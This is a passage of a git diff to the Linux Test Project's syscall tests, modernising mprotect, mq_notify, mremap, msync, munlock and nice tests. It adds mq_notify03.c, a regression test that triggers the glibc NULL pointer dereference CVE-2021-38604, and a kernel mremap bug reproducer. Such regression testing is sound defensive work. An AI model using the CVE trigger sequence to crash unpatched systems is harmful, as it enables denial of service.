b/testcases/kernel/syscalls/mprotect/mprotect03.c index 28f54c9a..ed0c1a7d 100755 --- a/testcases/kernel/syscalls/mprotect/mprotect03.c +++ b/testcases/kernel/syscalls/mprotect/mprotect03.c @@ -79,7 +79,7 @@ int main(int ac, char **av) if ((fd = open(file1, O_RDWR | O_CREAT, 0777)) < 0) tst_brkm(TBROK, cleanup, "open failed"); - SAFE_WRITE(cleanup, 1, fd, buf, strlen(buf)); + SAFE_WRITE(cleanup, SAFE_WRITE_ALL, fd, buf, strlen(buf)); /* * mmap the PAGESIZE bytes as read only. diff --git a/testcases/kernel/syscalls/mprotect/mprotect05.c b/testcases/kernel/syscalls/mprotect/mprotect05.c new file mode 100644 index 00000000..2b15f5be --- /dev/null +++ b/testcases/kernel/syscalls/mprotect/mprotect05.c @@ -0,0 +1,69 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All Rights Reserved. + * Author: Liam R. Howlett + */ + +/*\ + * [Description] + * + * Testcase to check the mprotect(2) system call split and merge. + * + * https://bugzilla.kernel.org/show_bug.cgi?id=217061 + * + */ + +#include "tst_test.h" + +#define TEST_FILE "mprotect05-testfile" + +static int fd; +static char *addr = MAP_FAILED; +static unsigned long pagesize; +static unsigned long fullsize; + +static void setup(void) +{ + pagesize = getpagesize(); + fullsize = 5 * pagesize; +} + +static void run(void) +{ + fd = SAFE_OPEN(TEST_FILE, O_RDWR | O_CREAT, 0777); + addr = SAFE_MMAP(0, fullsize, PROT_READ, MAP_SHARED, fd, 0); + + if (mprotect(addr + pagesize, pagesize, PROT_EXEC)) + tst_res(TFAIL | TERRNO, "mprotect failed to exec"); + + if (mprotect(addr + 3 * pagesize, pagesize, PROT_WRITE)) + tst_res(TFAIL | TERRNO, "mprotect failed to write"); + + if (mprotect(addr + pagesize, pagesize * 4, PROT_READ)) + tst_res(TFAIL | TERRNO, "mprotect failed to read"); + + SAFE_MUNMAP(addr, fullsize); + SAFE_CLOSE(fd); + addr = MAP_FAILED; + SAFE_UNLINK(TEST_FILE); + tst_res(TPASS, "test passed"); +} + +static void cleanup(void) +{ + if (addr != MAP_FAILED) { + SAFE_MUNMAP(addr, fullsize); + SAFE_CLOSE(fd); + } +} + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, + .needs_tmpdir = 1, + .tags = (const struct tst_tag[]) { + {"linux-git", "2fcd07b7ccd5"}, + {} + }, +}; diff --git a/testcases/kernel/syscalls/mq_notify/.gitignore b/testcases/kernel/syscalls/mq_notify/.gitignore index cca05a7f..3f9403c0 100755 --- a/testcases/kernel/syscalls/mq_notify/.gitignore +++ b/testcases/kernel/syscalls/mq_notify/.gitignore @@ -1,2 +1,3 @@ /mq_notify01 /mq_notify02 +/mq_notify03 diff --git a/testcases/kernel/syscalls/mq_notify/mq_notify02.c b/testcases/kernel/syscalls/mq_notify/mq_notify02.c index 3109fe34..d979a4e9 100755 --- a/testcases/kernel/syscalls/mq_notify/mq_notify02.c +++ b/testcases/kernel/syscalls/mq_notify/mq_notify02.c @@ -1,91 +1,36 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2014 Fujitsu Ltd. - * Author: Zeng Linggang - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * You should have received a copy of the GNU General Public License along - * with this program. + * Author: Zeng Linggang + * Copyright (C) 2023 SUSE LLC Andrea Cervesato */ -/* - * ALGORITHM - * test 1: - * sevp->sigev_notify = -1, EINVAL should be returned. - * test 2: - * sevp->sigev_notify = SIGEV_SIGNAL and sevp->sigev_signo > _NSG, - * EINVAL should be returned. + +/*\ + * [Description] + * + * This test verifies that mq_notify() fails with EINVAL when invalid input + * arguments are given. */ -#include #include -#include "test.h" - -char *TCID = "mq_notify02"; -static void setup(void); -static void cleanup(void); +#include "tst_test.h" static struct test_case_t { struct sigevent sevp; int exp_errno; -} test_cases[] = { +} tcase[] = { {{.sigev_notify = -1}, EINVAL}, - {{.sigev_notify = SIGEV_SIGNAL, .sigev_signo = _NSIG+1}, EINVAL}, + {{.sigev_notify = SIGEV_SIGNAL, .sigev_signo = _NSIG + 1}, EINVAL}, }; -int TST_TOTAL = ARRAY_SIZE(test_cases); -static void mq_notify_verify(struct test_case_t *); - -int main(int argc, char **argv) -{ - int lc; - int i; - - tst_parse_opts(argc, argv, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; - for (i = 0; i < TST_TOTAL; i++) - mq_notify_verify(&test_cases[i]); - } - cleanup(); - tst_exit(); -} - -static void setup(void) +static void run(unsigned int i) { - tst_sig(NOFORK, DEF_HANDLER, cleanup); + struct test_case_t *test = &tcase[i]; - TEST_PAUSE; + TST_EXP_FAIL(mq_notify(0, &(test->sevp)), test->exp_errno); } -static void mq_notify_verify(struct test_case_t *test) -{ - TEST(mq_notify(0, &(test->sevp))); - - if (TEST_RETURN != -1) { - tst_resm(TFAIL, "mq_notify() succeeded unexpectedly"); - return; - } - - if (TEST_ERRNO == test->exp_errno) { - tst_resm(TPASS | TTERRNO, "mq_notify failed as expected"); - } else if (TEST_ERRNO == ENOSYS) { - tst_resm(TCONF | TTERRNO, "mq_notify not available"); - } else { - tst_resm(TFAIL | TTERRNO, - "mq_notify failed unexpectedly; expected: %d - %s", - test->exp_errno, strerror(test->exp_errno)); - } -} - -static void cleanup(void) -{ -} +static struct tst_test test = { + .tcnt = ARRAY_SIZE(tcase), + .test = run, +}; diff --git a/testcases/kernel/syscalls/mq_notify/mq_notify03.c b/testcases/kernel/syscalls/mq_notify/mq_notify03.c new file mode 100644 index 00000000..bf6898cd --- /dev/null +++ b/testcases/kernel/syscalls/mq_notify/mq_notify03.c @@ -0,0 +1,99 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) The GNU Toolchain Authors. + * Copyright (c) 2023 Wei Gao + * + */ + +/*\ + * [Description] + * + * Test for NULL pointer dereference in mq_notify(CVE-2021-38604) + * + * References links: + * - https://sourceware.org/bugzilla/show_bug.cgi?id=28213 + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "tst_test.h" +#include "tst_safe_posix_ipc.h" + +static mqd_t m = -1; +static const char msg[] = "hello"; + +static void try_null_dereference_cb(union sigval sv) +{ + char buf[sizeof(msg)]; + + (void)sv; + + TST_EXP_VAL((size_t) mq_receive(m, buf, sizeof(buf), NULL), + sizeof(buf)); + TST_EXP_PASS(memcmp(buf, msg, sizeof(buf))); + + exit(0); +} + +static void try_null_dereference(void) +{ + struct sigevent sev; + + memset(&sev, '\0', sizeof(sev)); + sev.sigev_notify = SIGEV_THREAD; + sev.sigev_notify_function = try_null_dereference_cb; + + /* Step 1: Register & unregister notifier. + * Helper thread should receive NOTIFY_REMOVED notification. + * In a vulnerable version of glibc, NULL pointer dereference follows. + */ + TST_EXP_PASS(mq_notify(m, &sev)); + TST_EXP_PASS(mq_notify(m, NULL)); + + /* Step 2: Once again, register notification. + * Try to send one message. + * Test is considered successful, if the callback does exit (0). + */ + TST_EXP_PASS(mq_notify(m, &sev)); + TST_EXP_PASS(mq_send(m, msg, sizeof(msg), 1)); + + /* Wait... */ + pause(); +} + +static void do_test(void) +{ + static const char m_name[] = "/ltp_mq_notify03"; + struct mq_attr m_attr; + + memset(&m_attr, '\0', sizeof(m_attr)); + m_attr.mq_maxmsg = 1; + m_attr.mq_msgsize = sizeof(msg); + + m = SAFE_MQ_OPEN(m_name, + O_RDWR | O_CREAT | O_EXCL, + 0600, + &m_attr); + + TST_EXP_PASS(mq_unlink(m_name)); + + try_null_dereference(); +} + + +static struct tst_test test = { + .test_all = do_test, + .tags = (const struct tst_tag[]) { + {"glibc-git", "b805aebd42"}, + {"CVE", "2021-38604"}, + {} + }, + .needs_root = 1, +}; diff --git a/testcases/kernel/syscalls/mremap/.gitignore b/testcases/kernel/syscalls/mremap/.gitignore index 833e1b88..ec15a19c 100755 --- a/testcases/kernel/syscalls/mremap/.gitignore +++ b/testcases/kernel/syscalls/mremap/.gitignore @@ -3,3 +3,4 @@ /mremap03 /mremap04 /mremap05 +/mremap06 diff --git a/testcases/kernel/syscalls/mremap/mremap05.c b/testcases/kernel/syscalls/mremap/mremap05.c index 5e8cda5d..d85ebb06 100755 --- a/testcases/kernel/syscalls/mremap/mremap05.c +++ b/testcases/kernel/syscalls/mremap/mremap05.c @@ -45,8 +45,6 @@ char *TCID = "mremap05"; -#ifdef HAVE_MREMAP_FIXED - struct test_case_t { char *old_address; char *new_address; @@ -239,12 +237,3 @@ static void setup(void) static void cleanup(void) { } - -#else - -int main(void) -{ - tst_brkm(TCONF, NULL, "MREMAP_FIXED not present in "); -} - -#endif /* HAVE_MREMAP_FIXED */ diff --git a/testcases/kernel/syscalls/mremap/mremap06.c b/testcases/kernel/syscalls/mremap/mremap06.c new file mode 100644 index 00000000..a1926275 --- /dev/null +++ b/testcases/kernel/syscalls/mremap/mremap06.c @@ -0,0 +1,134 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2023 SUSE LLC + * Author: Vlastimil Babka + * https://bugzilla.suse.com/attachment.cgi?id=867254 + * LTP port: Petr Vorel + */ + +/*\ + * [Description] + * + * Bug reproducer for 7e7757876f25 ("mm/mremap: fix vm_pgoff in vma_merge() case 3") + */ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include + +#include "tst_test.h" +#include "tst_safe_macros.h" + +#define NUM_PAGES 3 + +static int fd; +static char *buf, *buf2; +static int page_size, mmap_size, mremap_size; + +static struct tcase { + size_t incompatible; + const char *desc; +} tcases[] = { + { + .desc = "all pages with compatible mapping", + }, + { + .incompatible = 3, + .desc = "third page's mapping incompatible", + }, + { + .incompatible = 1, + .desc = "first page's mapping incompatible", + }, +}; + +static int check_pages(void) +{ + int fail = 0, i; + char val; + + for (i = 0; i < (int)ARRAY_SIZE(tcases); i++) { + val = buf[i * page_size]; + if (val != 0x30 + i) { + tst_res(TFAIL, "page %d wrong value %d (0x%x)", i, val - 0x30, val); + fail = 1; + } + } + + return fail; +} + +static void do_test(unsigned int n) +{ + struct tcase *tc = &tcases[n]; + int ret; + + tst_res(TINFO, "%s", tc->desc); + + buf = SAFE_MMAP(0, mmap_size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); + + buf2 = mremap(buf + page_size, page_size, page_size, + MREMAP_MAYMOVE|MREMAP_FIXED, buf + mremap_size); + if (buf2 == MAP_FAILED) + tst_brk(TBROK, "mremap() failed"); + + if (tc->incompatible) { + ret = mprotect(buf + (tc->incompatible-1)*page_size, page_size, PROT_READ); + if (ret == -1) + tst_brk(TBROK, "mprotect() failed"); + } + + buf2 = mremap(buf + mremap_size, page_size, page_size, + MREMAP_MAYMOVE|MREMAP_FIXED, buf + page_size); + if (buf2 == MAP_FAILED) + tst_brk(TBROK, "mremap() failed"); + + if (!check_pages()) + tst_res(TPASS, "mmap/mremap work properly"); + + SAFE_MUNMAP(buf, mremap_size); +} + +static void setup(void) +{ + int ret, i; + + page_size = getpagesize(); + mmap_size = (NUM_PAGES+1) * page_size; + mremap_size = NUM_PAGES * page_size; + + fd = SAFE_OPEN("testfile", O_CREAT | O_RDWR | O_TRUNC, 0600); + + ret = fallocate(fd, 0, 0, mmap_size); + if (ret == -1) + tst_brk(TBROK, "fallocate() failed"); + + buf = SAFE_MMAP(0, mmap_size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); + + for (i = 0; i < (int)ARRAY_SIZE(tcases)+1; i++) + buf[i*page_size] = 0x30 + i; + + /* clear the page tables */ + SAFE_MUNMAP(buf, mmap_size); +} + +static void cleanup(void) +{ + if (fd > 0) + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .setup = setup, + .cleanup = cleanup, + .test = do_test, + .needs_tmpdir = 1, + .tcnt = ARRAY_SIZE(tcases), + .tags = (struct tst_tag[]) { + {"linux-git", "7e7757876f25"}, + {} + }, +}; diff --git a/testcases/kernel/syscalls/msync/msync01.c b/testcases/kernel/syscalls/msync/msync01.c index 3a5a48ee..3c57ebb9 100755 --- a/testcases/kernel/syscalls/msync/msync01.c +++ b/testcases/kernel/syscalls/msync/msync01.c @@ -25,7 +25,7 @@ * of, or all of a mapped region. * * Expected Result: - * msync() should succeed with a return value of 0, and succesfully + * msync() should succeed with a return value of 0, and successfully * synchronize the memory region. Data read from mapped region should be * the same as the initialized data. * diff --git a/testcases/kernel/syscalls/msync/msync03.c b/testcases/kernel/syscalls/msync/msync03.c index f504ed13..f79458b9 100755 --- a/testcases/kernel/syscalls/msync/msync03.c +++ b/testcases/kernel/syscalls/msync/msync03.c @@ -116,7 +116,7 @@ static void setup(void) memset(write_buf, 'a', BUF_SIZE); while (nwrite < page_sz) { - SAFE_WRITE(cleanup, 1, fd, write_buf, BUF_SIZE); + SAFE_WRITE(cleanup, SAFE_WRITE_ALL, fd, write_buf, BUF_SIZE); nwrite += BUF_SIZE; } diff --git a/testcases/kernel/syscalls/msync/msync04.c b/testcases/kernel/syscalls/msync/msync04.c index 4a564a3d..72ddc27a 100755 --- a/testcases/kernel/syscalls/msync/msync04.c +++ b/testcases/kernel/syscalls/msync/msync04.c @@ -49,7 +49,7 @@ static void test_msync(void) test_fd = SAFE_OPEN("msync04/testfile", O_CREAT | O_TRUNC | O_RDWR, 0644); - SAFE_WRITE(0, test_fd, STRING_TO_WRITE, sizeof(STRING_TO_WRITE) - 1); + SAFE_WRITE(SAFE_WRITE_ANY, test_fd, STRING_TO_WRITE, sizeof(STRING_TO_WRITE) - 1); mmaped_area = SAFE_MMAP(NULL, pagesize, PROT_READ | PROT_WRITE, MAP_SHARED, test_fd, 0); SAFE_CLOSE(test_fd); @@ -102,5 +102,4 @@ static struct tst_test test = { "tmpfs", NULL }, - .min_kver = "2.6.25", }; diff --git a/testcases/kernel/syscalls/munlock/munlock01.c b/testcases/kernel/syscalls/munlock/munlock01.c index 8a52f032..31d749e6 100755 --- a/testcases/kernel/syscalls/munlock/munlock01.c +++ b/testcases/kernel/syscalls/munlock/munlock01.c @@ -1,162 +1,51 @@ +// SPDX-License-Identifier: GPL-2.0 /* * Copyright (c) Wipro Technologies Ltd, 2002. All Rights Reserved. - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - * + * AUTHOR: Nirmala Devi Dhanasekar */ -/************************************************************************** - * - * TEST IDENTIFIER : munlock01 - * - * EXECUTED BY : root / superuser - * - * TEST TITLE : Basic test for munlock(2) - * - * TEST CASE TOTAL : 4 - * - * AUTHOR : Nirmala Devi Dhanasekar - * - * SIGNALS - * Uses SIGUSR1 to pause before test if option set. - * (See the parse_opts(3) man page). - * - * DESCRIPTION - * This is a Phase I test for the munlock(2) system call. - * It is intended to provide a limited exposure of the system call. - * - * Setup: - * Setup signal handling. - * Pause for SIGUSR1 if option specified. - * - * Test: - * Loop if the proper options are given. - * Execute system call - * Check return code, if system call failed (return=-1) - * Log the errno and Issue a FAIL message. - * Otherwise, Issue a PASS message. - * - * Cleanup: - * Print errno log and/or timing stats if options given - * - * USAGE: - * munlock01 [-c n] [-e] [-i n] [-I x] [-p x] [-t] - * where, -c n : Run n copies concurrently - * -e : Turn on errno logging. - * -h : Show this help screen - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -p : Pause for SIGUSR1 before starting - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. - * - * RESTRICTIONS - * Must be root/superuser to run it. - *****************************************************************************/ - -#include -#include -#include -#include "test.h" -void setup(); -void setup1(int); -void cleanup(); +/*\ + * [Description] + * + * Test munlock with various valid addresses and lengths. + */ -char *TCID = "munlock01"; -int TST_TOTAL = 4; +#include +#include "tst_test.h" -void *addr1; +static void *addr; -struct test_case_t { - void **addr; +static struct tcase { + char *msg; int len; - void (*setupfunc) (); -} TC[] = { - { - &addr1, 1, setup1}, { - &addr1, 1024, setup1}, { - &addr1, 1024 * 1024, setup1}, { - &addr1, 1024 * 1024 * 10, setup1} +} tcases[] = { + {"munlock 1 byte", 1}, + {"munlock 1024 bytes", 1024}, + {"munlock 1024 * 1024 bytes", 1024 * 1024}, + {"munlock 1024 * 1024 * 10 bytes", 1024 * 1024 * 10} }; -int main(int ac, char **av) -{ - int lc, i; - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - /* check looping state */ - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; - - for (i = 0; i < TST_TOTAL; i++) { - - if (TC[i].setupfunc != NULL) - TC[i].setupfunc(i); - - TEST(munlock(*(TC[i].addr), TC[i].len)); - - /* check return code */ - if (TEST_RETURN == -1) { - tst_resm(TFAIL | TTERRNO, - "mlock(%p, %d) Failed with " - "return=%ld", TC[i].addr, TC[i].len, - TEST_RETURN); - } else { - tst_resm(TPASS, "test %d passed length = %d", - i, TC[i].len); - } - } - } - - /* cleanup and exit */ - cleanup(); - - tst_exit(); -} - -void setup1(int i) +static void verify_munlock(unsigned int i) { - addr1 = malloc(TC[i].len); - if (addr1 == NULL) - tst_brkm(TFAIL, cleanup, "malloc failed"); - TEST(mlock(*(TC[i].addr), TC[i].len)); - - /* check return code */ - if (TEST_RETURN == -1) { - tst_brkm(TFAIL | TTERRNO, cleanup, - "mlock(%p, %d) Failed with return=%ld", TC[i].addr, - TC[i].len, TEST_RETURN); - } + struct tcase *tc = &tcases[i]; + + tst_res(TINFO, "%s", tc->msg); + addr = SAFE_MALLOC(tc->len); + SAFE_MLOCK(addr, tc->len); + TST_EXP_PASS(munlock(addr, tc->len), "munlock(%p, %d)", addr, tc->len); + free(addr); + addr = NULL; } -/* setup() - performs all ONE TIME setup for this test. */ -void setup(void) +static void cleanup(void) { - tst_require_root(); - - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; + if (addr) + free(addr); } -/* - * cleanup() - performs all ONE TIME cleanup for this test at - * completion or premature exit. - */ -void cleanup(void) -{ -} +static struct tst_test test = { + .needs_root = 1, + .test = verify_munlock, + .tcnt = ARRAY_SIZE(tcases), + .cleanup = cleanup, +}; diff --git a/testcases/kernel/syscalls/munlock/munlock02.c b/testcases/kernel/syscalls/munlock/munlock02.c index 75906a1d..f51c3d21 100755 --- a/testcases/kernel/syscalls/munlock/munlock02.c +++ b/testcases/kernel/syscalls/munlock/munlock02.c @@ -1,198 +1,48 @@ +// SPDX-License-Identifier: GPL-2.0 /* * Copyright (c) Wipro Technologies Ltd, 2002. All Rights Reserved. - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - * + * AUTHOR: Nirmala Devi Dhanasekar */ -/************************************************************************** - * - * TEST IDENTIFIER : munlock02 - * - * EXECUTED BY : root / superuser - * - * TEST TITLE : Test for checking basic error conditions for - * munlock(2) - * - * TEST CASE TOTAL : 2 - * - * AUTHOR : Nirmala Devi Dhanasekar - * - * SIGNALS - * Uses SIGUSR1 to pause before test if option set. - * (See the parse_opts(3) man page). - * - * DESCRIPTION - * Check for basic errors returned by munlock(2) system call. - * - * Verify that munlock(2) returns -1 and sets errno to - * - * 1) ENOMEM - Some of the specified address range does not correspond to - * mapped pages in the address space of the process. - * - * Setup: - * Setup signal handling. - * Pause for SIGUSR1 if option specified. - * - * Test: - * Loop if the proper options are given. - * Do necessary setup for each test. - * Execute system call - * Check return code, if system call failed (return=-1) - * Log the errno and Issue a FAIL message. - * Otherwise, Issue a PASS message. - * - * Cleanup: - * Print errno log and/or timing stats if options given + +/*\ + * [Description] * - * USAGE: - * munlock02 [-c n] [-e] [-i n] [-I x] [-p x] [-t] - * where, -c n : Run n copies concurrently - * -e : Turn on errno logging. - * -h : Show this help screen - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -p : Pause for SIGUSR1 before starting - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. + * Test for ENOMEM error. * - * RESTRICTIONS - * Test must run as root. - *****************************************************************************/ -#include -#include -#include -#include -#include "test.h" - -void setup(); -void cleanup(); - -char *TCID = "munlock02"; -int TST_TOTAL = 1; - -#define LEN 1024 - -void *addr1; + * munlock(2) fails with ENOMEM if some of the specified address range + * does not correspond to mapped pages in the address space of the + * process. + */ -struct test_case_t { - void *addr; - int len; - int error; - char *edesc; -} TC[] = { - { -NULL, 0, ENOMEM, "address range out of address space"},}; +#include +#include "tst_test.h" -#if !defined(UCLINUX) +static size_t len, pg_size; +static void *addr; -int main(int ac, char **av) +static void run(void) { - int lc, i; - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - /* check looping state */ - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; - for (i = 0; i < TST_TOTAL; i++) { -#ifdef __ia64__ - TC[0].len = 8 * getpagesize(); -#endif - TEST(munlock(TC[i].addr, TC[i].len)); - - /* check return code */ - if (TEST_RETURN == -1) { - if (TEST_ERRNO != TC[i].error) - tst_brkm(TFAIL, cleanup, - "munlock() Failed with wrong " - "errno, expected errno=%s, " - "got errno=%d : %s", - TC[i].edesc, TEST_ERRNO, - strerror(TEST_ERRNO)); - else - tst_resm(TPASS, - "expected failure - errno " - "= %d : %s", - TEST_ERRNO, - strerror(TEST_ERRNO)); - } else { - tst_brkm(TFAIL, cleanup, - "munlock() Failed, expected " - "return value=-1, got %ld", - TEST_RETURN); - } - } - } - - /* cleanup and exit */ - cleanup(); - - tst_exit(); + TST_EXP_FAIL(munlock(addr, len), ENOMEM, "munlock(%p, %lu)", + addr, len); } -/* setup() - performs all ONE TIME setup for this test. */ - -void setup(void) +static void setup(void) { - - char *address; - - tst_sig(FORK, DEF_HANDLER, cleanup); - - TC[0].len = 8 * getpagesize(); - address = mmap(0, TC[0].len, PROT_READ | PROT_WRITE, - MAP_PRIVATE_EXCEPT_UCLINUX | MAP_ANONYMOUS, 0, 0); - if (address == MAP_FAILED) - tst_brkm(TFAIL, cleanup, "mmap_failed"); - memset(address, 0x20, TC[0].len); - TEST(mlock(address, TC[0].len)); - - /* check return code */ - if (TEST_RETURN == -1) { - tst_brkm(TFAIL | TTERRNO, cleanup, - "mlock(%p, %d) Failed with return=%ld", address, - TC[0].len, TEST_RETURN); - } - TC[0].addr = address; + pg_size = getpagesize(); + len = 8 * pg_size; + addr = SAFE_MMAP(NULL, len, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, 0, 0); + memset(addr, 0x20, len); + SAFE_MLOCK(addr, len); /* * unmap part of the area, to create the condition for ENOMEM */ - address += 2 * getpagesize(); - munmap(address, 4 * getpagesize()); - - TEST_PAUSE; - - return; -} - -#else - -int main(void) -{ - tst_resm(TINFO, "test is not available on uClinux"); - tst_exit(); + addr += 2 * pg_size; + SAFE_MUNMAP(addr, 4 * pg_size); } -#endif /* if !defined(UCLINUX) */ - -/* - * cleanup() - performs all ONE TIME cleanup for this test at - * completion or premature exit. - */ -void cleanup(void) -{ - return; -} +static struct tst_test test = { + .needs_root = 1, + .setup = setup, + .test_all = run, +}; diff --git a/testcases/kernel/syscalls/munmap/munmap01.c b/testcases/kernel/syscalls/munmap/munmap01.c index 2a5cfc90..7d10c0ea 100755 --- a/testcases/kernel/syscalls/munmap/munmap01.c +++ b/testcases/kernel/syscalls/munmap/munmap01.c @@ -193,7 +193,7 @@ void setup(void) /* * map the open file 'TEMPFILE' from its beginning up to the maplength * into the calling process's address space at the system choosen - * with read/write permissions to the the mapped region. + * with read/write permissions to the mapped region. */ #ifdef UCLINUX /* MAP_SHARED is not implemented on uClinux */ diff --git a/testcases/kernel/syscalls/munmap/munmap02.c b/testcases/kernel/syscalls/munmap/munmap02.c index b4325051..cd85d943 100755 --- a/testcases/kernel/syscalls/munmap/munmap02.c +++ b/testcases/kernel/syscalls/munmap/munmap02.c @@ -197,7 +197,7 @@ void setup(void) /* * map the open file 'TEMPFILE' from its beginning up to the maplength * into the calling process's address space at the system choosen - * with read/write permissions to the the mapped region. + * with read/write permissions to the mapped region. */ #ifdef UCLINUX /* mmap() doesn't support MAP_SHARED on uClinux */ diff --git a/testcases/kernel/syscalls/munmap/munmap03.c b/testcases/kernel/syscalls/munmap/munmap03.c index 3b88b531..23875e7b 100755 --- a/testcases/kernel/syscalls/munmap/munmap03.c +++ b/testcases/kernel/syscalls/munmap/munmap03.c @@ -127,13 +127,6 @@ static void test_einval2(void) char *addr = global_addr; size_t map_len = 0; - if (tst_kvercmp(2, 6, 12) < 0) { - tst_resm(TCONF, - "EINVAL error value test for this condition needs " - "kernel 2.6.12 or higher"); - return; - } - TEST(munmap(addr, map_len)); check_and_print(EINVAL); diff --git a/testcases/kernel/syscalls/name_to_handle_at/name_to_handle_at01.c b/testcases/kernel/syscalls/name_to_handle_at/name_to_handle_at01.c index 9677b067..6535fdf5 100755 --- a/testcases/kernel/syscalls/name_to_handle_at/name_to_handle_at01.c +++ b/testcases/kernel/syscalls/name_to_handle_at/name_to_handle_at01.c @@ -72,7 +72,7 @@ static void setup(void) dir_fd = SAFE_OPEN(TEST_DIR, O_DIRECTORY); SAFE_CHDIR(TEST_DIR); SAFE_TOUCH(TEST_FILE, 0600, NULL); - file_fd = SAFE_OPEN("foo_file", O_RDWR | O_CREAT); + file_fd = SAFE_OPEN("foo_file", O_RDWR | O_CREAT, 0600); fhp = allocate_file_handle(AT_FDCWD, TEST_FILE); } diff --git a/testcases/kernel/syscalls/newuname/newuname01.c b/testcases/kernel/syscalls/newuname/newuname01.c index ebf2fcc1..2b9349e3 100755 --- a/testcases/kernel/syscalls/newuname/newuname01.c +++ b/testcases/kernel/syscalls/newuname/newuname01.c @@ -115,7 +115,7 @@ int main(int ac, char **av) for (lc = 0; TEST_LOOPING(lc); ++lc) { tst_count = 0; for (testno = 0; testno < TST_TOTAL; ++testno) { - TEST(ltp_syscall(__NR_uname, &name)); + TEST(tst_syscall(__NR_uname, &name)); if (TEST_RETURN == -1) { tst_brkm(TFAIL, cleanup, "%s failed - errno = %d : %s", TCID, TEST_ERRNO, diff --git a/testcases/kernel/syscalls/nice/.gitignore b/testcases/kernel/syscalls/nice/.gitignore index 9d7a1bb4..58d64779 100755 --- a/testcases/kernel/syscalls/nice/.gitignore +++ b/testcases/kernel/syscalls/nice/.gitignore @@ -2,3 +2,4 @@ /nice02 /nice03 /nice04 +/nice05 diff --git a/testcases/kernel/syscalls/nice/Makefile b/testcases/kernel/syscalls/nice/Makefile index 044619fb..02e78a29 100755 --- a/testcases/kernel/syscalls/nice/Makefile +++ b/testcases/kernel/syscalls/nice/Makefile @@ -3,6 +3,8 @@ top_srcdir ?= ../../../.. +nice05: CFLAGS += -pthread + include $(top_srcdir)/include/mk/testcases.mk include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/testcases/kernel/syscalls/nice/nice01.c b/testcases/kernel/syscalls/nice/nice01.c index aee5ea04..bc58ad14 100755 --- a/testcases/kernel/syscalls/nice/nice01.c +++ b/testcases/kernel/syscalls/nice/nice01.c @@ -3,56 +3,68 @@ * Copyright (c) International Business Machines Corp., 2001 * Ported to LTP: Wayne Boyer * Copyright (c) 2016 Cyril Hrubis + * Copyright (c) Linux Test Project, 2003-2022 */ -/* - * Verify that root can provide a negative value to nice() - * and hence root can decrease the nice value of the process - * using nice() system call +/*\ + * [Description] + * + * Verify that root can provide a negative value to nice() system call and hence + * root can decrease the nice value of the process using nice(). */ + #include #include #include #include "tst_test.h" -#define NICEINC -12 +#define MIN_PRIO -20 -static void verify_nice(void) +static int nice_inc[] = {-1, -12, -50}; + +static void verify_nice(unsigned int i) { int new_nice; int orig_nice; + int exp_nice; + int inc = nice_inc[i]; + int delta; orig_nice = SAFE_GETPRIORITY(PRIO_PROCESS, 0); - TEST(nice(NICEINC)); + TEST(nice(inc)); + + exp_nice = MAX(MIN_PRIO, (orig_nice + inc)); - if (TST_RET != (orig_nice + NICEINC)) { + if (TST_RET != exp_nice) { tst_res(TFAIL | TTERRNO, "nice(%d) returned %li, expected %i", - NICEINC, TST_RET, orig_nice + NICEINC); + inc, TST_RET, exp_nice); return; } if (TST_ERR) { - tst_res(TFAIL | TTERRNO, "nice(%d) failed", NICEINC); + tst_res(TFAIL | TTERRNO, "nice(%d) failed", inc); return; } new_nice = SAFE_GETPRIORITY(PRIO_PROCESS, 0); - if (new_nice != (orig_nice + NICEINC)) { + if (new_nice != exp_nice) { tst_res(TFAIL, "Process priority %i, expected %i", - new_nice, orig_nice + NICEINC); + new_nice, exp_nice); return; } - tst_res(TPASS, "nice(%d) passed", NICEINC); + tst_res(TPASS, "nice(%d) passed", inc); - TEST(nice(-NICEINC)); + delta = orig_nice - exp_nice; + TEST(nice(delta)); if (TST_ERR) - tst_brk(TBROK | TTERRNO, "nice(-NICEINC) failed"); + tst_brk(TBROK | TTERRNO, "nice(%d) failed", delta); } static struct tst_test test = { - .test_all = verify_nice, 